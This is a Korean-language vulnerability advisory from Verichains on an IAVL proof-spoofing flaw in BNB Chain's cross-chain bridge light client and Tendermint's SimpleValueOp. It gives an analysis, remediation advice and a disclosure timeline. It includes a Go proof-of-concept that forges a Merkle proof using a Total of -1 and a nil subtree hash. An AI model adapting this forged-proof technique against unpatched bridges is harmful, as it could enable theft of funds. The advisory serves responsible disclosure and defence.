이 권고는 BNB 체인 및 Tendermint 코드베이스에서 Verichain이 발견한 여러 취약점을 통한 중요한 IAVL 스푸핑 공격을 강조합니다.
공격자는 이 권고에 설명된 일련의 약점을 악용하여 잠재적으로 IAVL 스푸핑 공격을 시작하여 이전 해킹 과 유사한 상당한 자금 손실을 초래할 수 있습니다. 저희는 해당 문제를 BNB Chain에 비공개로 공개하였고, 당일 신속하게 패치를 진행하였습니다. 이러한 노력 덕분에 악의적인 이용은 발생하지 않았고, 자금 손실도 발생하지 않았습니다.
요약
BNB 스마트 체인(BSC)은 크로스체인 브리징을 지원하기 위해 다양한 전용 내장 시스템 메커니즘을 구현합니다. 체인 간에 제출된 머클 증명이 유효한지 확인하기 위해 BSC는 Tendermint와 Cosmos의 다양한 IAVL + 머클 트리 구현을 사용합니다. IAVL 트리는 크로스체인 트랜잭션 및 해당 페이로드 해시의 존재를 증명하거나 반증하는 데 사용됩니다.
2022년 10월 6일, 코드의 IAVL RangeProof 검증 취약점 으로 인해 BNB Chain의 Cross-Chain Bridge가 악용되어 ~5억 6600만 달러 상당의 200만 BNB를 불법적으로 발행했습니다.
2022년 10월 11일 Verichains는 BSC 및 Tendermint의 'merkle.SimpleValueOp'('ValueOp')에서 새로운 중요한 문제를 발견했습니다. 이 'ProofOp'는 입력 키-값 쌍을 확인한 후 nil 루트 해시를 출력할 수 있습니다. BSC에서 공격자는 BSC 체인이 방금 실행된 시점에 BC 높이에서 다중 저장소 증명을 사용하여 임의의 하위 저장소(우리의 경우 'ibc' 하위 저장소)의 임의의 키-값 쌍을 수락하도록 라이트 클라이언트를 속일 수 있습니다. 배포되었습니다(따라서 IBC 하위 저장소 루트 해시는 nil이었습니다).
저희는 해당 문제를 BNB Chain에 비공개로 공개하였고, 당일 신속하게 패치를 진행하였습니다. 이러한 노력 덕분에 악의적인 이용은 발생하지 않았고, 자금 손실도 발생하지 않았습니다.
이 권고에 의해 강조된 Tendermint에서 발견된 보안 문제로 인해 우리는 VSA-2022-100 과 함께 대중에게 공개하기 전에 취약점 공개 정책 에 따라 120일을 기다리기로 결정했습니다. 우리는 여전히 Tendermint의 IAVL 증명 검증을 사용하는 모든 프로젝트가 자산을 보호하고 악용 위험을 완화하기 위해 필요한 조치를 취할 것을 촉구합니다.
분석
이 공격으로 이어지는 코드베이스에는 몇 가지 약점이 있습니다.
사용되는 유일한 증명 구조는 `[ProofOpIAVLValue, ProofOpMultiStore]`입니다. 그러나 'ProofOps' 목록의 길이와 각 'ProofOp' 유형에 제한이 없으므로 이 구조는 적용되지 않습니다. `ProofOpSimpleValue`와 같은 사용되지 않는 `ProofOp` 유형도 런타임에 등록됩니다.
func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return }다중 저장소 증명에서 `CommitID`에 있는 하위 저장소의 루트 해시는 nil이 허용됩니다(단순히 Golang 바이트 슬라이스입니다). 아무것도 없는 해시를 정의하는 것이 항상 좋은 습관이므로 빈 하위 저장소의 해시는 nil이 되어서는 안 됩니다.
type CommitID struct { Version int64 Hash []byte }입력 키-값 쌍을 확인한 후 `ProofOpSimpleValue`는 예상치 못한 입력 시 오류를 발생시키는 대신 nil 루트 해시를 반환합니다(예: 트리의 노드 수가 음수임). 이는 VSA-2022-100 에서 보고된 Tendermint의 'ProofOpValue' 버그와 유사합니다.
func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte { if index >= total || index < 0 || total <= 0 { return nil }이러한 약점을 결합하여 라이트 클라이언트를 속여 임의의 하위 저장소(우리의 경우 `ibc` 하위 저장소)의 임의의 키-값 쌍을 수락하도록 하는 것은 간단합니다.
하위 저장소가 비어 있는 높이(루트 해시가 nil임)에서 유효한 증명을 찾습니다.
다중 저장소 증명 부분을 변경하지 않고 유지합니다.
`ProofOpIAVLValue`를 `ProofOpSimpleValue`로 바꾸십시오. 여기서 `SimpleProof.LeafHash`는 선택한 키-값 쌍의 해시이고 `SimpleProof.Total`은 -1입니다.
착취
공격을 시연하는 PoC는 다음과 같습니다.
package main import ( "bytes" "encoding/hex" "github.com/ethereum/go-ethereum/core/vm/lightclient" goanimo "github.com/tendermint/go-amino" "github.com/tendermint/tendermint/crypto/merkle" "github.com/tendermint/tendermint/crypto/tmhash" "log" ) func main() { // multistore proof at BC height 110000000 // at that height ibc hash should be nil height := 110000000 inputHex := "" input, err := hex.DecodeString(inputHex) if err != nil { panic(err) } op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input}) if err != nil { panic(err) } appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash() log.Printf("expected appHash at %d (maybe +1, not sure): %s \n ", height, hex.EncodeToString(appHash)) // fake key-value pair and its hash key := []byte{0x13, 0x37} value := []byte{0x13, 0x37} vhash := tmhash.Sum(value) bz := new(bytes.Buffer) _ = goanimo.EncodeByteSlice(bz, key) // does not error _ = goanimo.EncodeByteSlice(bz, vhash) kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes() ... )) // this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height. op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{ LeafHash: kvhash, Total: -1, }) fakeKVMP := lightclient.KeyValueMerkleProof{ Key: key, Value: value, StoreName: "ibc", AppHash: appHash, Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}}, } // should be evaluated to true log.Println(fakeKVMP.Validate()) }영향을 받는 제품
BNB 체인(2022년 10월 11일 커밋 0278f6876e9077d050b518a502442875ae0ccb0c 이전의 모든 버전)
권장사항
`ProofOpSimpleValue` 및 `ProofOpIAVLAbsence`에 대한 디코더는 사용되지 않으므로 `DefaultProofRuntime` 함수에 등록하지 마세요. 증명의 'ProofOps' 목록에 있는 색인을 기반으로 각 'ProofOp'의 유형을 확인하는 것도 좋습니다.
빈 하위 저장소에 대한 해시 정의를 고려하세요(비호환성이 발생할 수 있음).
입력이 사용되기 직전에 온전성 검사가 수행되는 보안 코딩을 실행하는 것이 좋습니다. 그러면 사용자가 타사 코드를 어떻게 사용하더라도 악용될 수 없습니다.
감사의 말
BNB 체인 코드베이스에서 식별된 취약점을 해결하기 위한 신속한 노력에 대해 BNB 체인 보안 및 개발 팀에 감사를 표합니다.
타임라인
2022년 10월 11일: BNB 체인 팀에 비공개로 보고하세요.
2022년 10월 11일: BNB 체인 개발 팀은 문제를 해결하기 위한 패치를 출시했습니다( https://github.com/bnb-chain/bsc/pull/1121/commits/0278f6876e9077d050b518a 502442875ae0ccb0c )
2023년 2월 28일: 공개 출시
==============
베리체인스 소개
2017년부터 Verichains는 보안, 암호화 및 핵심 블록체인 기술에 대한 광범위한 전문 지식을 갖춘 APAC의 선구자이자 선도적인 블록체인 보안 회사였습니다. BNB Chain, Klaytn, Wemix, Multichain, Line Corp, Axie Infinity, Ronin Network 및 Kyber Network와 같은 여러 유명 클라이언트를 포함하여 200개 이상의 클라이언트가 500억 달러 규모의 보호 자산으로 우리를 신뢰합니다.
우리의 세계적 수준의 보안 및 암호화 연구팀은 레이어 1 프로토콜, 암호화 라이브러리, 브리지 및 스마트 계약에서 여러 가지 취약점을 발견했습니다. 또한 우리는 BNB Chain Bridge와 Ronin Bridge(Sky Mavis)라는 두 가지 가장 큰 글로벌 암호화폐 해킹의 조사, 근본 원인 분석 및 보안 문제 해결에 도움을 준 회사임을 자랑스럽게 생각합니다.
Verichains는 블록체인 기술에 대한 심층적인 연구 개발을 통해 블록체인 프로토콜 및 스마트 계약 보안 감사, 모바일 애플리케이션 보호, 키 관리 솔루션, 온체인 위험 모니터링, 레드팀/침투 테스트 서비스 등의 블록체인 보안 서비스를 제공합니다.
홈페이지: https://www.verichains.io
이메일: info@verichains.io
트위터: https://twitter.com/Verichains
링크드인: https://www.linkedin.com/company/verichains



